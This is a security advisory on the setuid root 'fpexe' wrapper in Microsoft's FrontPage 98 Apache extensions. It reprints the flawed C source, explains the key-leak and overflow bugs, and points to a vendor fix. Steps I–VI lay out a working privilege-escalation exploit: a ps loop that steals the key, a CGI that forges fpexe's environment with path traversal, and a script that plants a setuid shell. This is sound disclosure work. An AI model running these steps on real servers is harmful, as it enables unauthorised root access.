COMMAND
fpexe
SYSTEMS AFFECTED
Systems using Microsoft's FrontPage 98 extensions for Apache
PROBLEM
Marc Slemko found following. Microsoft's FrontPage 98 server side
extensions for Apache under Unix include a small setuid root
program (fpexe) to allow the FrontPage CGIs to be run as the user
who owns the pages as opposed to them all running as the user the
web server runs as. This is necessary to get around gaping
loopholes that occur when all FrontPage documents are owned by the
user the web server runs as.
There are, however, gaping holes in this fpexe program that make
it easily exploitable to eventually gain root. Following details
were taken from:
http://www.worldgate.com/~marcs/fp/
The information below talks about using Microsoft's FrontPage 98
extensions with Apache on Unix with Microsoft's mod_frontpage
changes. This do not apply to running it on any other server or
to running it on Unix without the Microsoft mod_frontpage changes
or to running it on Windows NT. There are, however, other
security issues on such servers, some of which are similar to
those in the FrontPage 97 extensions. Note that the Unix server
extensions seem to be written in part or completely by
Ready-to-Run Software Inc. (RTR) for Microsoft (treated here as
Microsoft's product because it is, no matter who wrote it). This
discussion is specific to the FrontPage 98 extensions.
It had appeared like Microsoft had increased the security of the
extensions in the FP98 version available from Microsoft's Web
Site. However, a closer examination reveals startling flaws. What
they have done is make a small setuid root wrapper that the web
server calls. This wrapper than setuid()s to the appropriate user
and runs the requested FP CGI as that user. The problem lies in
the fact that the wrapper ("fpexe") is written very poorly. While
making such a wrapper secure can be difficult, the gaping holes
in this program show a complete lack of understanding of security
in the Unix environment.
The fpexe program is available below to inspect yourself. It was
originally posted in RTR's FrontPage FAQ. This version is not
exactly the same as the one currently distributed (at least it is
not the same as the one in the BSD/OS 2.1 kit), but it is close.
Both appear to exhibit the same failings.
/* * Copyright (c) 1995-7 Microsoft Corporation
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <ctype.h>
#include <time.h>
#if !defined(bsdi) && !defined(hpux) && !defined(sun) && !defined(linux)
#include <sys/mode.h>
#endif
#define KEYFILE "/usr/local/frontpage/currentversion/apache-fp/suidkey.%d"
#define FPDIR "/usr/local/frontpage/currentversion/exes/"
extern char **environ;
void
die(const char *msg) {
time_t t = time(NULL);
char timebuf[26];
strcpy( timebuf, ctime(&t) );
timebuf[24] = '\0';
fprintf(stderr, "[%s] %s\n", timebuf, msg);
exit(1);
}
void
main(int argc,char **argv) {
char work[80];
char key[129];
char buf[80];
char * p, **pp, **ppi;
FILE *f;
struct stat fs;
if (geteuid()) die("FrontPage SUID Error -- not running as root");
#if defined sun && ! defined __SVR4
sprintf( buf, KEYFILE, (int) getpgrp(0) );
#else
sprintf( buf, KEYFILE, (int) getpgrp() );
#endif
if (stat( buf, &fs ) || (fs.st_mode & (S_IRWXG|S_IRWXO)) || fs.st_uid)
die("FrontPage SUID Keyfile Security Violation");
f = fopen( buf, "r");
fgets( key, 129, f );
fclose(f);
if (!getenv("FPEXE") || !getenv("FPUID") ||
!getenv("FPGID") || !getenv("FPKEY")) {
die("Frontpage SUID Environment Error");
}
if (strcmp(key, getenv("FPKEY")))
die("FrontPage SUID Key Security Violation");
strcpy( work, FPDIR );
strcat( work, getenv("FPEXE") );
p = getenv("FPUID");
if (p && isdigit(*p) && atoi(p)) setuid(atoi(p));
else die("FrontPage SUID Security Violation");
p = getenv("FPGID"); if (p && isdigit(*p)) setgid(atoi(p));
argv[0] = work;
umask(022);
/* Remove FPKEY from the environment before calling FP CGI Program */
pp = environ;
while (*pp) { /* in a loop just in case */
if (!strncmp(*pp,"FPKEY=",6)) {
for (ppi = pp;;++ppi)
if (!(*ppi = *(ppi + 1)))
break;
}
pp++;
}
execv( argv[0], argv );
return;
}
When refered to the FP CGI programs, it refers to the three files
normally referenced under the _vti_bin directory: shtml.exe,
admin.exe and author.exe.
The key in this discussion is the fact that nothing is stopping
anyone from trying to run this fpexe wrapper. If they can trick
it into running, they can possible gain privileges they shouldn't.
Before you can understand the holes in the FP server extensions,
you need to understand what is meant when talking about the "key".
When the Frontpage-modified Apache server starts up, it generates
a pseudo-random string of 128 ASCII characters as a key. This key
is written to a file that is only readable by the user that
starts Apache; normally root. The server than passes the key to
fpexe. Since fpexe is setuid root, it can compare the key stored
on disk with the one it was passed to be sure they match; if not,
it refuses to run. This is used in an attempt to guarantee that
the only thing calling fpexe is the web server. Used properly this
is a powerful part of possible security precautions.
There are a number of problems with the setuid root fpexe program.
The more obvious problems include:
* Return codes from library calls are not properly checked. An
example:
f = fopen( buf, "r");
fgets( key, 129, f );
fclose(f);
If fopen() failed (easy to make it do so with ulimit -n), then
if your system did not core dump on a fgets() on a closed
descriptor you would end up with an empty key. It is obviously
easy to guess an empty key. I am not aware of any systems that
exhibit this exact problem, but it is possible. Return codes
need to be checked, especially in setuid programs.
* Proper bounds checking is not done. This leads to obvious buffer
overflows. An example:
strcpy( work, FPDIR );
strcat( work, getenv("FPEXE") );
No details of what this does, but if you could cause this code
to be executed, you could insert your own code on most systems
and likely gain access to the UID the program is running as
(root). This proves to be an unnecessary effort to go to,
because this code is only executed if you have the correct key;
if you have the correct key, there are far easier ways to gain
access. Buffer overflows are one of the most popular (albeit
normally boring) types of new holes in programs being
publicized.
* It does not clean the environment variables before starting the
CGI. Again, this means you can gain access to the UID that the
program runs as (not root). If the rest of the program was
securely written, this could possibly be an issue however it is
of little consequence currently due to the gaping holes in other
areas.
* It assumes that if you have the key, then you are authorized to
have it run any program as nearly any user you tell it to. The
process you are running also needs to be in the same process
group as the web server; all CGIs run by the server, however,
are in the same process group so if you can run a CGI script you
can work around the second check. It does no further checks to
be sure you are running as a user that should be allowed to run
FrontPage CGIs (other than disallowing UID 0; the compiled
version also disallows gid 0, however the source version
doesn't) or that you are running a Frontpage related program.
This means that if you get the key file, you can gain access to
any non-root UID on the server. On 99% of boxes, that will
give you root. For example, if binaries are owned by bin then
become bin and replace one that is run by root from cron. The
possibilities are endless once you obtain this level of access.
* And, finally, the worst: it passes the key to fpexe via an
environment variable! On most systems, environment variables are
available via "ps -e". This means that anyone with access to run
programs on the system (and there are often more people than you
think that are able to do this, due to things such as CGIs) can
see it as it is being passed from the web server to fpexe.
Recall that once you have the key, there is little remaining
before you can get full access to the system.
By now, it should be obvious that there is a serious security
problem in the FrontPage 98 server extensions. Here is one
demonstration; do not think that this is the only way or that just
because you prevent one step of this process from working it is
any more difficult to exploit the security holes.
I. First I have to find the key. This can be done by using ps to
get the environment from fpexe. To do this, you first setup a
loop running (this assumes a real aka. Bourne shell; if you
use the bastard C-shell it obviously won't work as written):
while true; do ps axuwwe -U nobody | grep FPKEY; done
II. Then I used ZeusBench, a very simple HTTP benchmark program,
to generate load on the server:
zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30
You can get ZeusBench from:
http://www.worldgate.com/~marcs/fp/zb.c
Any method of generating traffic could be used, including a
web browser. If you use a very inefficient method of looking
for a process, you need to generate lots of traffic to
increase your chance of finding one. It certainly isn't likely
to happen on the first request. The requests do have to be
made to a FP CGI script so it will call fpexe.
III. Before long, you had what you wanted from ps (manually wrapped):
nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01
SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000
FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77
3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD
F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*
PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80
REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com
SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe
REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe
SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe
IV. Then you need to use the key to make fpexe think you're the
web server. You can't just run this from a normal shell,
since you need to be in the same process group as the web
server. A simple CGI suffices:
#!/bin/sh
echo Content-type: text/plain
echo
export FPUID=3;
export FPGID=3;
export FPEXE=../../../../../../../../tmp/gotcha;
export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF1
4CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59
/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1
V. You need a program for it to run (/tmp/gotcha in this example):
#!/bin/sh
/usr/bin/id
cp /bin/sh /tmp/.mysh
chmod u+s /tmp/.mysh
VI. Then you simply make a HTTP request for the CGI script. You
can then run /tmp/.mysh at your leisure to gain access to UID
3 (bin on most systems) and do what you want from there.
SOLUTION
This is only in the FrontPage 98 extensions and is only in the
Apache version; it is completely unrelated to any Apache code and
only occurs in the Apache version simply because that is the only
version where this functionality is provided. MS made fix
available at:
http://www.microsoft.com/frontpage/wpp/serk
The Apache web server has a suEXEC wrapper designed to allow for
a similar thing; that is, execution of CGI scripts under a user's
own UID. It is very restrictive (some would say anal) about what
it allows: there is a reason for that, as Microsoft's obviously
failed attempt at security shows. It is possible that suEXEC could
be adapted to function in conjunction with FrontPage, however it
will not work without source modifications.